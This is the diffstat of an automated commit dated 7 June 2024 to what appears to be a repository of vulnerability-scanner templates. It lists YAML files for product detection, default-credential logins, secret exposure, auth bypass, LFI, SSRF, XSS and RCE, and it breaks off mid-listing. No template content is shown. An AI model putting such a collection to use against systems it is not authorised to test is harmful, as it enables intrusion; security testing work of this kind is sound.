From ca615f673ede5db0887ed1a95e0205b14aaa4403 Mon Sep 17 00:00:00 2001 From: GitHub Action Date: Fri, 7 Jun 2024 12:35:17 +0000 Subject: [PATCH] 20240607 --- date.txt | 2 +- poc.txt | 3525 +- poc/adobe/adobe-coldfusion-detect-82.yaml | 12 +- ...t.yaml => adobe-coldfusion-detect-83.yaml} | 0 .../adobe-coldfusion-error-detect-88.yaml | 13 +- ...aml => adobe-coldfusion-error-detect.yaml} | 0 poc/adobe/adobe-component-login-89.yaml | 32 + poc/adobe/adobe-component-login-90.yaml | 31 - poc/adobe/adobe-component-login.yaml | 15 +- poc/adobe/adobe-connect-central-login-93.yaml | 33 + poc/adobe/adobe-connect-central-login-97.yaml | 23 - poc/adobe/adobe-connect-central-login.yaml | 15 +- .../adobe-connect-username-exposure-100.yaml | 27 - poc/adobe/adobe-connect-version-104.yaml | 60 +- .../adobe-experience-manager-login-105.yaml | 33 + .../adobe-experience-manager-login-106.yaml | 23 - .../adobe-experience-manager-login-109.yaml | 10 +- poc/adobe/adobe-media-server-114.yaml | 23 + poc/adobe/adobe-media-server-115.yaml | 15 +- poc/adobe/adobe-media-server.yaml | 23 - poc/adobe/aem-bg-servlet-127.yaml | 23 - poc/adobe/aem-bg-servlet-129.yaml | 16 +- poc/adobe/aem-cached-pages.yaml | 17 +- poc/adobe/aem-crx-bypass-132.yaml | 48 - poc/adobe/aem-default-get-servlet-136.yaml | 91 - poc/adobe/aem-default-get-servlet-137.yaml | 78 + poc/adobe/aem-default-get-servlet-138.yaml | 80 + poc/adobe/aem-default-get-servlet-139.yaml | 19 +- ...in-141.yaml => aem-default-login-140.yaml} | 0 poc/adobe/aem-default-login.yaml | 56 - poc/adobe/aem-detection-145.yaml | 28 + poc/adobe/aem-detection-146.yaml | 28 - poc/adobe/aem-gql-servlet-147.yaml | 33 +- poc/adobe/aem-gql-servlet-149.yaml | 56 + poc/adobe/aem-gql-servlet-150.yaml | 26 - poc/adobe/aem-groovyconsole-153.yaml | 37 + poc/adobe/aem-groovyconsole-155.yaml | 21 +- poc/adobe/aem-hash-querybuilder-159.yaml | 30 + poc/adobe/aem-hash-querybuilder-161.yaml | 29 - poc/adobe/aem-hash-querybuilder.yaml | 16 +- ...ml => aem-merge-metadata-servlet-172.yaml} | 0 poc/adobe/aem-merge-metadata-servlet.yaml | 24 - .../aem-querybuilder-feed-servlet-175.yaml | 29 + .../aem-querybuilder-feed-servlet-177.yaml | 6 +- .../aem-querybuilder-json-servlet-182.yaml | 42 - .../aem-querybuilder-json-servlet-186.yaml | 47 - poc/adobe/aem-secrets.yaml | 44 + poc/adobe/aem-setpreferences-xss-189.yaml | 6 +- poc/adobe/aem-userinfo-servlet-190.yaml | 31 + poc/adobe/aem-userinfo-servlet-193.yaml | 25 - poc/adobe/aem-userinfo-servlet.yaml | 15 +- .../aem-wcm-suggestions-servlet-194.yaml | 7 +- poc/adobe/aem-xss-childlist-selector-197.yaml | 45 + poc/adobe/possible-AEM-secrets.yaml | 46 - .../vmware-authentication-daemon-detect.yaml | 34 + ...in.yaml => airflow-default-login-234.yaml} | 0 poc/airflow/airflow-default-login-235.yaml | 64 - poc/airflow/airflow-default-login-236.yaml | 21 +- poc/airflow/airflow-panel.yaml | 17 +- .../unauthenticated-airflow-10886.yaml | 2 +- .../unauthenticated-airflow-10887.yaml | 24 + poc/apache/apache-apisix-panel-336.yaml | 33 + poc/apache/apache-apisix-panel-338.yaml | 30 - poc/apache/apache-axis-detect.yaml | 32 + poc/apache/apache-cocoon-detect-342.yaml | 33 + poc/apache/apache-cocoon-detect.yaml | 27 - poc/apache/apache-config-344.yaml | 31 - poc/apache/apache-config.yaml | 19 + poc/apache/apache-detect-347.yaml | 2 +- poc/apache/apache-dubbo-detect-351.yaml | 23 + poc/apache/apache-dubbo-detect.yaml | 19 - poc/apache/apache-dubbo-unauth.yaml | 31 + poc/apache/apache-filename-enum-354.yaml | 36 + poc/apache/apache-filename-enum.yaml | 30 - ....yaml => apache-flink-unauth-rce-356.yaml} | 0 poc/apache/apache-flink-unauth-rce.yaml | 41 + poc/apache/apache-guacamole-361.yaml | 32 + poc/apache/apache-guacamole.yaml | 28 - poc/apache/apache-httpd-rce-362.yaml | 41 + poc/apache/apache-httpd-rce.yaml | 13 +- poc/apache/apache-rocketmq-broker-unauth.yaml | 43 + poc/apache/apache-solr-file-read-367.yaml | 42 +- poc/apache/apache-tomcat-CVE-2022-34305.yaml | 21 + poc/apache/apache-tomcat-cve-2022-34305.yaml | 2 - poc/apache/apache-tomcat-snoop-374.yaml | 24 + poc/apache/apache-tomcat-snoop-375.yaml | 24 - poc/apache/apache-tomcat-snoop.yaml | 4 +- poc/apache/default-apache-test-all-6815.yaml | 29 + ...6813.yaml => default-apache-test-all.yaml} | 0 poc/apache/default-apache-test-page-6816.yaml | 6 +- poc/apache/default-apache-test-page.yaml | 17 - poc/apache/default-apache2-page-6804.yaml | 6 +- poc/apache/default-apache2-page-6805.yaml | 7 +- .../default-apache2-ubuntu-page-6808.yaml | 18 - .../default-apache2-ubuntu-page-6809.yaml | 6 +- .../default-apache2-ubuntu-page-6810.yaml | 3 +- poc/api/alfacgiapi-wordpress-256.yaml | 3 + poc/api/apache-apisix-panel-336.yaml | 33 + poc/api/apache-apisix-panel-338.yaml | 30 - poc/api/api-abuseipdb-384.yaml | 2 +- poc/api/api-adafruit-io-387.yaml | 30 + poc/api/api-adafruit-io.yaml | 24 - poc/api/api-alienvault.yaml | 26 + poc/api/api-apigee-edge-391.yaml | 36 + poc/api/api-apigee-edge.yaml | 29 - poc/api/api-appveyor-392.yaml | 31 + poc/api/api-appveyor.yaml | 25 - poc/api/api-asana.yaml | 21 + poc/api/api-bingmaps.yaml | 19 - poc/api/api-block-400.yaml | 31 - poc/api/api-block.yaml | 26 + poc/api/api-blockchain-398.yaml | 27 - poc/api/api-blockchain-399.yaml | 33 + poc/api/api-blockchain.yaml | 8 +- poc/api/api-bravenewcoin-401.yaml | 35 + poc/api/api-bravenewcoin.yaml | 30 - poc/api/api-buildkite-402.yaml | 14 +- poc/api/api-buttercms-403.yaml | 12 +- ...pi-calendly-404.yaml => api-calendly.yaml} | 0 poc/api/api-clearbit-407.yaml | 33 + poc/api/api-clearbit.yaml | 28 - poc/api/api-coinapi-408.yaml | 33 - poc/api/api-coinapi.yaml | 28 + poc/api/api-cooperhewitt-410.yaml | 25 - poc/api/api-cooperhewitt-411.yaml | 20 +- poc/api/api-covalent-412.yaml | 31 - poc/api/api-covalent.yaml | 26 + poc/api/api-deviantart-415.yaml | 27 - poc/api/api-deviantart.yaml | 21 + ...ribbble-417.yaml => api-dribbble-416.yaml} | 0 poc/api/api-dribbble.yaml | 21 + poc/api/api-dropbox-418.yaml | 24 + poc/api/api-dropbox.yaml | 10 +- poc/api/api-europeana-421.yaml | 12 +- poc/api/api-europeana.yaml | 21 + poc/api/api-facebook-422.yaml | 31 + poc/api/api-facebook.yaml | 25 - poc/api/api-fastly-423.yaml | 30 + poc/api/api-fastly-424.yaml | 9 +- poc/api/api-gitlab-430.yaml | 30 - poc/api/api-gitlab-431.yaml | 25 - poc/api/api-harvardart-433.yaml | 2 +- poc/api/api-heroku-435.yaml | 25 - poc/api/api-heroku.yaml | 14 +- poc/api/api-hirak-rates-436.yaml | 32 + poc/api/api-hirak-rates.yaml | 27 - poc/api/api-hubspot-437.yaml | 12 +- poc/api/api-iconfinder-439.yaml | 34 - poc/api/api-instatus-442.yaml | 34 - poc/api/api-instatus.yaml | 29 + poc/api/api-intercom-443.yaml | 30 + poc/api/api-intercom.yaml | 24 - poc/api/api-ipstack-444.yaml | 17 +- poc/api/api-iterable.yaml | 23 + poc/api/api-jumpcloud.yaml | 22 + poc/api/api-leanix-450.yaml | 32 - poc/api/api-leanix.yaml | 26 + poc/api/api-linkfinder.yaml | 2 +- poc/api/api-lokalise-452.yaml | 27 +- poc/api/api-mailchimp-454.yaml | 3 +- poc/api/api-mailchimp.yaml | 25 + poc/api/api-mailgun-455.yaml | 25 +- poc/api/api-malshare-457.yaml | 10 +- ...pi-malshare-456.yaml => api-malshare.yaml} | 0 poc/api/api-malwarebazaar-458.yaml | 12 +- poc/api/api-malwarebazaar-459.yaml | 12 +- .../{api-mapbox-465.yaml => api-mapbox.yaml} | 0 poc/api/api-mywot-467.yaml | 2 +- poc/api/api-mywot.yaml | 27 - poc/api/api-nerdgraph-469.yaml | 3 +- poc/api/api-nerdgraph.yaml | 24 + poc/api/api-npm-471.yaml | 15 +- poc/api/api-onelogin-472.yaml | 33 + poc/api/api-onelogin.yaml | 27 - poc/api/api-openweather-473.yaml | 10 +- poc/api/api-pagerduty.yaml | 22 - poc/api/api-particle-476.yaml | 33 + poc/api/api-particle.yaml | 27 - poc/api/api-paypal-478.yaml | 35 + poc/api/api-paypal.yaml | 28 - poc/api/api-pendo-479.yaml | 14 +- poc/api/api-petfinder-480.yaml | 36 - poc/api/api-petfinder.yaml | 31 + poc/api/api-pinata-481.yaml | 33 - poc/api/api-pinata.yaml | 28 + poc/api/api-pivotaltracker.yaml | 22 + poc/api/api-postmark-483.yaml | 12 +- ...ksmuseum.yaml => api-rijksmuseum-485.yaml} | 0 poc/api/api-rijksmuseum-486.yaml | 10 +- poc/api/api-scanii-487.yaml | 32 + poc/api/api-scanii.yaml | 26 - poc/api/api-sendgrid.yaml | 12 +- poc/api/api-slack-493.yaml | 7 +- poc/api/api-sonarcloud-494.yaml | 28 + poc/api/api-sonarcloud.yaml | 22 - poc/api/api-square-496.yaml | 1 + poc/api/api-stytch-500.yaml | 36 + poc/api/api-stytch.yaml | 31 - poc/api/api-taiga-501.yaml | 30 - poc/api/api-taiga.yaml | 24 + poc/api/api-thecatapi-502.yaml | 27 - poc/api/api-thecatapi-503.yaml | 11 +- poc/api/api-tink-504.yaml | 31 - poc/api/api-tink.yaml | 25 + poc/api/api-tinypng-505.yaml | 1 + poc/api/api-tinypng.yaml | 23 + poc/api/api-travisci-506.yaml | 3 +- poc/api/api-travisci.yaml | 22 + ...irustotal.yaml => api-virustotal-511.yaml} | 0 poc/api/api-virustotal-512.yaml | 13 +- poc/api/api-visualstudio-513.yaml | 9 +- poc/api/api-wakatime.yaml | 19 - poc/api/api-weglot-516.yaml | 1 - poc/api/api-wordcloud-517.yaml | 10 +- poc/api/api-wordcloud-518.yaml | 10 +- poc/api/api-youtube-519.yaml | 28 - poc/api/api-youtube.yaml | 22 + poc/api/apiman-panel-462.yaml | 30 + poc/api/apiman-panel-463.yaml | 24 - poc/api/apiman-panel-464.yaml | 12 +- poc/api/apisix-default-login-490.yaml | 8 +- poc/api/apisix-default-login-492.yaml | 20 +- poc/api/burp-api-detect-810.yaml | 8 +- ...i-detect.yaml => burp-api-detect-812.yaml} | 0 poc/api/couchbase-buckets-api-1233.yaml | 42 - ...i-1232.yaml => couchbase-buckets-api.yaml} | 0 poc/api/drupal-jsonapi-user-listing.yaml | 40 + poc/api/etcd-unauthenticated-api.yaml | 24 +- poc/api/exposed-glances-api-7307.yaml | 6 +- poc/api/exposed-glances-api-7308.yaml | 6 +- poc/api/exposed-glances-api-7309.yaml | 27 - poc/api/fastapi-docs-7399.yaml | 22 + poc/api/fastapi-docs.yaml | 53 +- poc/api/gmail-api-client-secrets-7741.yaml | 40 + poc/api/google-api(1).yaml | 16 - poc/api/google-api-7772.yaml | 13 + poc/api/google-api-key-7769.yaml | 23 + poc/api/graylog-api-browser-7846.yaml | 23 + poc/api/graylog-api-browser.yaml | 3 +- ...cd-unauthenticated-api-data-leak-8056.yaml | 2 + poc/api/kube-api-namespaces-8505.yaml | 9 +- ...ces-8506.yaml => kube-api-namespaces.yaml} | 0 poc/api/kube-api-pods-8510.yaml | 30 - poc/api/kube-api-pods.yaml | 26 + poc/api/kube-api-secrets-8512.yaml | 22 + poc/api/kube-api-secrets.yaml | 26 - ...i.yaml => magento-2-exposed-api-8687.yaml} | 0 poc/api/magento-2-exposed-api-8688.yaml | 45 - poc/api/mailchimp-api-key-8724.yaml | 3 - poc/api/mailchimp-api-key-8725.yaml | 3 + poc/api/mailchimp-api.yaml | 3 +- poc/api/mailgun-api(1).yaml | 16 + poc/api/mailgun-api-11855.yaml | 13 - poc/api/mailgun-api.yaml | 3 - poc/api/mikrotik-routeros-api.yaml | 32 + poc/api/pictatic-api-key-9575.yaml | 13 + poc/api/pictatic-api-key-9576.yaml | 16 - poc/api/pictatic-api-key.yaml | 5 +- poc/api/sendgrid-api-11859.yaml | 3 + poc/api/slack-api.yaml | 3 +- poc/api/strapi-cms-detect-10538.yaml | 37 +- poc/api/strapi-documentation-10543.yaml | 28 - poc/api/strapi-documentation.yaml | 9 +- poc/api/strapi-page-10544.yaml | 3 +- poc/api/strapi-page-10546.yaml | 20 + ...-key-11869.yaml => stripe-api-key(1).yaml} | 0 poc/api/stripe-api-key.yaml | 4 - poc/api/twilio-api-10860.yaml | 5 +- poc/api/unauth-spark-api-10963.yaml | 13 +- poc/api/unauth-spark-api-10964.yaml | 8 + poc/api/wadl-api-11084.yaml | 40 + .../{wadl-api-11082.yaml => wadl-api.yaml} | 0 poc/api/wsdl-api-11634.yaml | 27 + poc/api/wso2-apimanager-detect-11638.yaml | 19 + poc/api/yapi-detect-11721.yaml | 28 - poc/api/yapi-detect.yaml | 19 + poc/api/yapi-rce-11726.yaml | 80 + poc/api/yapi-rce.yaml | 93 + poc/atlassian/atlassian-crowd-panel-580.yaml | 12 +- poc/atlassian/atlassian-crowd-panel-581.yaml | 38 + poc/atlassian/atlassian-crowd-panel-585.yaml | 18 + poc/atlassian/bitbucket-takeover-739.yaml | 11 +- poc/atlassian/confluence-detect-1186.yaml | 41 + poc/atlassian/confluence-detect-1187.yaml | 3 +- poc/atlassian/confluence-detect-1188.yaml | 41 - ...l => confluence-ssrf-sharelinks-1193.yaml} | 0 poc/atlassian/confluence-ssrf-sharelinks.yaml | 36 - poc/atlassian/jira-detect-8314.yaml | 22 +- poc/atlassian/jira-detect-8316.yaml | 14 - poc/atlassian/jira-login-default.yaml | 8 +- .../jira-service-desk-signup-8317.yaml | 21 - .../jira-service-desk-signup-8320.yaml | 1 + .../jira-service-desk-signup-8321.yaml | 20 + .../jira-unauthenticated-dashboards-8324.yaml | 26 - .../jira-unauthenticated-dashboards-8326.yaml | 30 + ...nauthenticated-installed-gadgets-8328.yaml | 14 +- ...nauthenticated-installed-gadgets-8330.yaml | 25 - ...-unauthenticated-popular-filters-8331.yaml | 23 + .../jira-unauthenticated-popular-filters.yaml | 5 +- ...ira-unauthenticated-projectcategories.yaml | 25 - .../jira-unauthenticated-projects-8335.yaml | 25 - .../jira-unauthenticated-projects.yaml | 16 + ...jira-unauthenticated-user-picker-8341.yaml | 14 - poc/auth/3Com-wireless-default-login.yaml | 52 + poc/auth/AVTECH-login-bypass.yaml | 2 + poc/auth/GT-AC2900-login.yaml | 5 +- poc/auth/JeeSite-default-login.yaml | 5 +- poc/auth/Mantis-Default_login.yaml | 47 - poc/auth/acemanager-login-23.yaml | 32 + poc/auth/acemanager-login-25.yaml | 9 +- ...47.yaml => activemq-default-login-44.yaml} | 0 poc/auth/adobe-component-login-89.yaml | 32 + poc/auth/adobe-component-login-90.yaml | 31 - poc/auth/adobe-component-login.yaml | 15 +- poc/auth/adobe-connect-central-login-93.yaml | 33 + poc/auth/adobe-connect-central-login-97.yaml | 23 - poc/auth/adobe-connect-central-login.yaml | 15 +- .../adobe-experience-manager-login-105.yaml | 33 + .../adobe-experience-manager-login-106.yaml | 23 - .../adobe-experience-manager-login-109.yaml | 10 +- ...in-141.yaml => aem-default-login-140.yaml} | 0 poc/auth/aem-default-login.yaml | 56 - poc/auth/aem-secrets.yaml | 44 + poc/auth/aims-password-mgmt-client-218.yaml | 12 +- poc/auth/aims-password-mgmt-client-221.yaml | 17 - poc/auth/aims-password-portal-224.yaml | 22 - ...in.yaml => airflow-default-login-234.yaml} | 0 poc/auth/airflow-default-login-235.yaml | 64 - poc/auth/airflow-default-login-236.yaml | 21 +- poc/auth/alibaba-mongoshake-unauth.yaml | 27 + poc/auth/amazon-mws-auth-token-11845.yaml | 11 +- poc/auth/amazon-mws-auth-token-282.yaml | 6 +- ...-value.yaml => amazon-mws-auth-token.yaml} | 0 ...\345\244\215\345\211\257\346\234\254.yaml" | 18 + poc/auth/ambari-default-credentials.yaml | 4 +- poc/auth/ambari-default-login-287.yaml | 35 + poc/auth/ambari-default-login-290.yaml | 9 +- poc/auth/amcrest-login-296.yaml | 37 - poc/auth/amcrest-login-297.yaml | 28 + poc/auth/ametys-admin-login-300.yaml | 39 - poc/auth/ametys-admin-login-302.yaml | 36 + poc/auth/ametys-admin-login.yaml | 6 +- poc/auth/apache-dubbo-unauth.yaml | 31 + ....yaml => apache-flink-unauth-rce-356.yaml} | 0 poc/auth/apache-flink-unauth-rce.yaml | 41 + poc/auth/apache-rocketmq-broker-unauth.yaml | 43 + poc/auth/api-onelogin-472.yaml | 33 + poc/auth/api-onelogin.yaml | 27 - poc/auth/apisix-default-login-490.yaml | 8 +- poc/auth/apisix-default-login-492.yaml | 20 +- poc/auth/apollo-default-login-520.yaml | 10 +- poc/auth/apollo-default-login-521.yaml | 57 - poc/auth/apple-app-site-association-525.yaml | 26 - poc/auth/argocd-login-534.yaml | 42 +- poc/auth/argocd-login-535.yaml | 32 + poc/auth/arl-default-login-537.yaml | 44 + poc/auth/arl-default-login-539.yaml | 44 - poc/auth/arl-default-login-540.yaml | 2 +- poc/auth/asus-rtn16-default-login.yaml | 43 + poc/auth/asus-wl500g-default-login.yaml | 47 + poc/auth/asus-wl520GU-default-login.yaml | 42 + poc/auth/atvise-login-590.yaml | 34 + poc/auth/atvise-login.yaml | 33 - poc/auth/avatier-password-management.yaml | 37 + poc/auth/aws-access-key-value-622.yaml | 8 +- poc/auth/aws-access-key-value-625.yaml | 18 + poc/auth/aws-opensearch-login-650.yaml | 3 +- .../axiom-digitalocean-key-exposure-666.yaml | 41 + .../axiom-digitalocean-key-exposure-667.yaml | 18 +- .../axiom-digitalocean-key-exposure-668.yaml | 9 +- ...in.yaml => azkaban-default-login-671.yaml} | 0 poc/auth/azkaban-default-login-673.yaml | 100 +- poc/auth/basic-auth-detection-688.yaml | 45 +- poc/auth/bazarr-login.yaml | 46 +- poc/auth/beyondtrust-login-server-718.yaml | 56 +- poc/auth/beyondtrust-login-server-719.yaml | 31 + poc/auth/bigbluebutton-login-725.yaml | 34 + poc/auth/bigbluebutton-login-726.yaml | 28 - poc/auth/blue-iris-login-751.yaml | 31 - poc/auth/blue-iris-login-754.yaml | 22 + poc/auth/blue-iris-login.yaml | 29 +- poc/auth/bmc-remedy-sso-panel.yaml | 31 + ...1.yaml => braintree-access-token-773.yaml} | 0 poc/auth/braintree-access-token.yaml | 17 - ...ranch-key-775.yaml => branch-key-774.yaml} | 0 poc/auth/branch-key.yaml | 14 +- ...l => brother-unauthorized-access-792.yaml} | 0 ...usinessintelligence-default-login-817.yaml | 45 + ...> businessintelligence-default-login.yaml} | 0 poc/auth/cambium-networks-default-login.yaml | 44 + poc/auth/camunda-login-panel.yaml | 20 +- poc/auth/canal-default-login-846.yaml | 44 - poc/auth/canal-default-login-849.yaml | 35 + poc/auth/canal-default-login.yaml | 9 + poc/auth/chinaunicom-default-login-906.yaml | 38 - ...aml => chinaunicom-default-login-909.yaml} | 0 ...chinaunicom-modem-default-credentials.yaml | 2 + poc/auth/cisco-finesse-login-938.yaml | 22 - poc/auth/cisco-finesse-login-940.yaml | 23 + poc/auth/cisco-finesse-login.yaml | 19 +- poc/auth/cisco-integrated-login-941.yaml | 3 +- poc/auth/cisco-integrated-login.yaml | 16 +- poc/auth/cisco-systems-login-973.yaml | 25 - poc/auth/cisco-systems-login-975.yaml | 32 + poc/auth/cisco-ucs-kvm-login-979.yaml | 27 - poc/auth/cisco-ucs-kvm-login-980.yaml | 28 + poc/auth/cisco-ucs-kvm-login.yaml | 5 +- poc/auth/clamav-unauth.yaml | 34 + poc/auth/clave-login-panel-994.yaml | 23 - poc/auth/clave-login-panel-996.yaml | 23 + poc/auth/clickhouse-unauth-1003.yaml | 26 - poc/auth/clickhouse-unauth-1004.yaml | 29 + poc/auth/clickhouse-unauth.yaml | 11 +- poc/auth/cobbler-default-login-1118.yaml | 72 + poc/auth/cobbler-default-login-1119.yaml | 54 - poc/auth/cobbler-default-login-1120.yaml | 4 +- ...n-1139.yaml => codian-mcu-login-1140.yaml} | 0 poc/auth/codian-mcu-login.yaml | 25 - poc/auth/credential-exposure-1249.yaml | 720 + poc/auth/credential-exposure-file.yaml | 4148 +- ...ntials-1258.yaml => credentials-1257.yaml} | 0 poc/auth/credentials-disclosure-1255.yaml | 715 + poc/auth/credentials-disclosure-1256.yaml | 708 - poc/auth/credentials.yaml | 11 +- poc/auth/crush-ftp-login-1273.yaml | 21 +- poc/auth/crush-ftp-login-1275.yaml | 23 + poc/auth/crush-ftp-login.yaml | 16 +- poc/auth/crushftp-anonymous-login.yaml | 50 + .../cs-cart-unauthenticated-lfi-1282.yaml | 33 + poc/auth/cs-cart-unauthenticated-lfi.yaml | 20 - poc/auth/cx-cloud-login-6764.yaml | 18 - poc/auth/cx-cloud-login-6765.yaml | 18 + poc/auth/cx-cloud-login.yaml | 4 +- poc/auth/dbeaver-credentials-6778.yaml | 48 +- poc/auth/dbeaver-credentials-6782.yaml | 7 +- poc/auth/dell-idrac-default-login-6942.yaml | 44 - ...aml => dell-idrac-default-login-6945.yaml} | 0 poc/auth/dell-idrac9-default-login-6932.yaml | 37 - poc/auth/dell-idrac9-default-login-6934.yaml | 7 - poc/auth/dell-openmanager-login.yaml | 20 +- poc/auth/dericam-login-6962.yaml | 22 + poc/auth/digital-watchdog-default-login.yaml | 44 + poc/auth/dir-850l-login-panel.yaml | 19 +- poc/auth/directadmin-login-panel-7000.yaml | 26 - poc/auth/directadmin-login-panel-7001.yaml | 27 + poc/auth/dlink-unauth-cgi-script.yaml | 33 + poc/auth/druid-default-login-7096.yaml | 16 +- poc/auth/druid-default-login-7097.yaml | 32 - poc/auth/dubbo-admin-default-login-7121.yaml | 34 + ...20.yaml => dubbo-admin-default-login.yaml} | 0 poc/auth/dvwa-default-login-7128.yaml | 26 +- poc/auth/dvwa-default-login-7129.yaml | 46 - ...> dvwa-headless-automatic-login-7130.yaml} | 0 .../dvwa-headless-automatic-login-7133.yaml | 9 - poc/auth/dynatrace-token-7145.yaml | 5 +- poc/auth/dynatrace-token.yaml | 13 +- poc/auth/emcecom-default-login-7211.yaml | 43 + poc/auth/emcecom-default-login-7214.yaml | 7 +- poc/auth/emqx-default-login-7221.yaml | 39 + poc/auth/ems-login-panel-7223.yaml | 6 +- poc/auth/ems-login-panel-7225.yaml | 22 + poc/auth/epmp-login-7230.yaml | 4 +- poc/auth/epmp-login-7232.yaml | 20 - poc/auth/etcd-keys-7262.yaml | 6 +- poc/auth/etcd-keys.yaml | 6 +- poc/auth/etcd-unauthenticated-api.yaml | 24 +- .../exposed-authentication-asmx-7287.yaml | 20 +- .../exposed-authentication-asmx-7288.yaml | 7 +- ...ogin-7396.yaml => faraday-login-7393.yaml} | 0 poc/auth/faraday-login-7397.yaml | 23 + poc/auth/faraday-login.yaml | 15 +- poc/auth/fatpipe-auth-bypass-7431.yaml | 42 - poc/auth/fatpipe-auth-bypass.yaml | 33 + poc/auth/fcm-server-key-7453.yaml | 16 - poc/auth/fcm-server-key-7454.yaml | 19 + poc/auth/flir-default-login.yaml | 35 + poc/auth/frp-default-login-7556.yaml | 11 +- poc/auth/frp-default-login-7559.yaml | 35 + poc/auth/frp-default-login.yaml | 34 + poc/auth/ftp-weak-credentials-7569.yaml | 35 + poc/auth/ftp-weak-credentials.yaml | 17 +- poc/auth/general-tokens-7586.yaml | 9 +- poc/auth/genieacs-default-jwt.yaml | 56 + poc/auth/geoserver-default-login-7593.yaml | 31 +- poc/auth/geoserver-default-login-7594.yaml | 5 +- poc/auth/git-credentials-7644.yaml | 2 +- poc/auth/git-credentials-disclosure-7641.yaml | 41 + poc/auth/github-personal-token.yaml | 7 +- poc/auth/gitlab-public-signup-7683.yaml | 34 + poc/auth/gitlab-public-signup-7684.yaml | 10 +- ...login.yaml => gitlab-weak-login-7704.yaml} | 0 poc/auth/gitlab-weak-login-7706.yaml | 20 +- poc/auth/glpi-authentication-7730.yaml | 25 + poc/auth/glpi-authentication.yaml | 8 +- poc/auth/glpi-default-login-7731.yaml | 14 +- poc/auth/glpi-default-login-7732.yaml | 63 - poc/auth/glpi-default-login.yaml | 62 - poc/auth/glpi-login-7736.yaml | 6 +- poc/auth/gmail-api-client-secrets-7741.yaml | 40 + poc/auth/gocd-login.yaml | 13 +- poc/auth/google-api-key-7769.yaml | 23 + poc/auth/google-earth-dlogin-7778.yaml | 19 +- poc/auth/google-earth-dlogin.yaml | 42 - poc/auth/gophish-default-login-7792.yaml | 14 +- poc/auth/gophish-default-login-7794.yaml | 40 + poc/auth/gophish-login-7795.yaml | 5 +- poc/auth/grafana-default-login-7801.yaml | 3 +- poc/auth/grafana-default-login-7804.yaml | 14 +- poc/auth/grafana-public-signup-7814.yaml | 5 - poc/auth/grafana-public-signup-7816.yaml | 35 + poc/auth/grafana-public-signup-7817.yaml | 35 - poc/auth/gt-ac2900-login.yaml | 23 + poc/auth/guacamole-default-login-7861.yaml | 46 - poc/auth/guacamole-default-login.yaml | 46 + poc/auth/hadoop-unauth-7875.yaml | 9 +- poc/auth/hivemanager-login-panel-7963.yaml | 19 + poc/auth/hivemanager-login-panel-7965.yaml | 20 - poc/auth/hongdian-default-login-7997.yaml | 10 +- poc/auth/hongdian-default-login-7998.yaml | 10 - .../hp-ilo-serial-key-disclosure-8024.yaml | 3 +- poc/auth/hp-switch-default-login-8035.yaml | 41 + poc/auth/hp-switch-default-login-8036.yaml | 29 - poc/auth/hp-switch-default-login-8038.yaml | 14 +- .../hpe-system-management-login-8017.yaml | 27 + poc/auth/hrsale-unauthenticated-lfi-8039.yaml | 13 +- poc/auth/hrsale-unauthenticated-lfi-8040.yaml | 15 +- ...cd-unauthenticated-api-data-leak-8056.yaml | 2 + poc/auth/huawei-HG532e-default-login.yaml | 39 + .../huawei-HG532e-default-router-login.yaml | 57 +- ...awei-hg532e-default-router-login-8064.yaml | 30 - poc/auth/huawei-router-auth-bypass-8076.yaml | 39 - poc/auth/hue-default-credential-8080.yaml | 23 +- poc/auth/hue-default-credential-8081.yaml | 17 +- poc/auth/iam-db-auth.yaml | 56 + poc/auth/iam-key-rotation-90days.yaml | 50 + poc/auth/iam-ssh-keys-rotation.yaml | 50 + poc/auth/ibm-mqseries-default-login-8107.yaml | 46 + poc/auth/ibm-mqseries-default-login.yaml | 39 - ...gin-8111.yaml => ibm-note-login-8110.yaml} | 0 .../ibm-storage-default-credential-8123.yaml | 12 +- .../ibm-storage-default-credential-8124.yaml | 3 +- poc/auth/icinga-web-login-8136.yaml | 23 - poc/auth/icinga-web-login-8137.yaml | 7 +- .../idemia-biometrics-default-login-8138.yaml | 46 + .../idemia-biometrics-default-login-8139.yaml | 23 +- poc/auth/imgproxy-unauth.yaml | 36 + ...spur-clusterengine-default-login-8162.yaml | 14 +- .../inspur-clusterengine-default-login.yaml | 39 - poc/auth/intelbras-dvr-unauth.yaml | 32 + poc/auth/iptime-default-login-8194.yaml | 3 +- poc/auth/iptime-default-login.yaml | 42 - poc/auth/jenkins-default-login.yaml | 85 +- poc/auth/jenkins-login-8277.yaml | 27 - poc/auth/jenkins-login-detection.yaml | 30 + poc/auth/jenkins-login.yaml | 62 +- poc/auth/jfrog-unauth-build-exposed-8301.yaml | 3 +- ...l => jfrog-unauth-build-exposed-8302.yaml} | 0 poc/auth/jinher-oa-default-login-8311.yaml | 52 + poc/auth/jinher-oa-default-login.yaml | 44 - poc/auth/jira-login-default.yaml | 8 +- poc/auth/jira-service-desk-signup-8317.yaml | 21 - poc/auth/jira-service-desk-signup-8320.yaml | 1 + poc/auth/jira-service-desk-signup-8321.yaml | 20 + .../jira-unauthenticated-dashboards-8324.yaml | 26 - .../jira-unauthenticated-dashboards-8326.yaml | 30 + ...nauthenticated-installed-gadgets-8328.yaml | 14 +- ...nauthenticated-installed-gadgets-8330.yaml | 25 - ...-unauthenticated-popular-filters-8331.yaml | 23 + .../jira-unauthenticated-popular-filters.yaml | 5 +- ...ira-unauthenticated-projectcategories.yaml | 25 - .../jira-unauthenticated-projects-8335.yaml | 25 - poc/auth/jira-unauthenticated-projects.yaml | 16 + ...jira-unauthenticated-user-picker-8341.yaml | 15 +- poc/auth/jmx-default-login-8356.yaml | 29 +- poc/auth/jmx-default-login.yaml | 43 - .../jolokia-unauthenticated-lfi-8366.yaml | 13 +- poc/auth/jupyter-ipython-unauth-8402.yaml | 14 +- poc/auth/jupyterhub-default-login-8401.yaml | 12 +- ...400.yaml => jupyterhub-default-login.yaml} | 0 .../{jwt-token.yaml => jwt-token-8408.yaml} | 0 poc/auth/jwt-token-8410.yaml | 18 - poc/auth/kafka-center-default-login-8415.yaml | 48 + poc/auth/kafka-center-default-login-8416.yaml | 7 +- poc/auth/kafka-center-login-8418.yaml | 18 - poc/auth/kafka-center-login-8419.yaml | 18 + poc/auth/kenesto-login-8444.yaml | 22 + poc/auth/kenesto-login-8445.yaml | 26 - poc/auth/kenesto-login.yaml | 18 +- poc/auth/kentico-login-8446.yaml | 23 + poc/auth/kentico-login.yaml | 22 +- poc/auth/key-cloak-admin-panel-8468.yaml | 18 + poc/auth/key-cloak-admin-panel-8470.yaml | 20 - poc/auth/keycloak-json-8472.yaml | 21 + poc/auth/keycloak-json-8473.yaml | 21 - poc/auth/keycloak-xss-8480.yaml | 28 + poc/auth/keycloak-xss-8482.yaml | 